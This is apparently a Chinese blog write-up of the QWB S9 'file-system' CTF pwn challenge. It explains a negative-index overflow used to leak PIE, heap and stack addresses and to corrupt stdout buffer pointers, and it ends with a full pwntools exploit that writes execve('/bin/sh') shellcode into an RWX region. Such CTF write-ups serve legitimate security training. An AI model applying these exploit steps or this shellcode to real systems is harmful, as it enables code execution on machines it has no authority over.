强网杯-QWB-S9-file-system

题目概述

程序很简单,实现了一个文件打开,读取内容,创建文件的功能,这里存在一个负数溢出,能实现向前读取内容。

解题思路

我创建了一个结构体如下

struct file_note
{
  char name[48];
  char file_content[160];
  unsigned __int16 file_content_length;
  unsigned __int16 file_fd;
};

由于有__dso_handle 的存在(一个指向其自身的指针),借助负数溢出,可以向前访问来泄露信息。我们先打开大量文件,这样就会向 file_list 上存放大量指针,借由此伪造出一个file_content_length,之后打印出 bss 上的数据获取pie,stack的信息。

随后向前编辑 stdou修改_IO_buf_base_IO_buf_end, 使 puts 在写数据时覆盖缓冲区末尾为\n,扩大了show_edit_able,之后利用程序分配的 rwx 的空间往里面写shellcode,修改 edit 函数的返回地址为 shellcode 地址就可以执行 shellcode

完整exp

from pwn import *
from pwn_std import *
from SomeofHouse import HouseOfSome

p=getProcess("localhost",10070,'./pwn')
context(os='linux', arch='amd64', log_level='debug')
elf=ELF("./pwn")
libc=ELF("./libc.so.6")


cmd = """
b *$rebase(0x0000000000002033)
"""
def create(name,content):
    sla(">",str(1))
    sla("0x30): ",name)
    sla(" length 0xa0):",content)

def open(name):
    sla(">",str(2))
    sla("0x30): ",name)

def edit(index,content):
    sla(">",str(3))
    sla("idx:",str(index))
    sla("h 0xa0): \n",content)

def show(index):
    sla(">",str(4))
    sla("idx:",str(index))

sla("irectoryName:",'/')
for i in range(0x18):
    open('flag')
show(-11)
rc(1)
pie=uu64(rc(6))-(0x643782441008-0x64378243c000)
print("pie base: "+hex(pie))

rc(0x00000030-6+7)
hb=uu64(rc(6))-0x84c0
print("heap base: "+hex(hb))

rc(0x0000470-0x40+7+3)
stack=uu64(rc(6))-0xaf
print("edit ret base: "+hex(stack))
######借用_IO_2_1_stdout_来改写show_edit_able######
pl=p64(hb)
pl+=p64(pie+0x5010)+p64(pie+0x5018)
edit(-8,pl)
######借用_IO_2_1_stdout_来改写返回地址######
edit(-11, p64(stack-0x30-0x28))
shellcode_addr = 0x20250000
shellcode = b'H\xbb/bin/sh\x00ST_1\xf6j;X\x99\x0f\x05\x00\x00\x00'
print("shellcode-length=",hex(len(shellcode)))
# gdbbug(cmd)
pl=shellcode+p64(shellcode_addr)+p64(0)+p64(shellcode_addr)
edit(-5,pl)
ita()


强网杯-QWB-S9-file-system
https://a1b2rt.cn//archives/qwb-s9-file-system
作者
A1b2rt
发布于
2026年02月23日
许可协议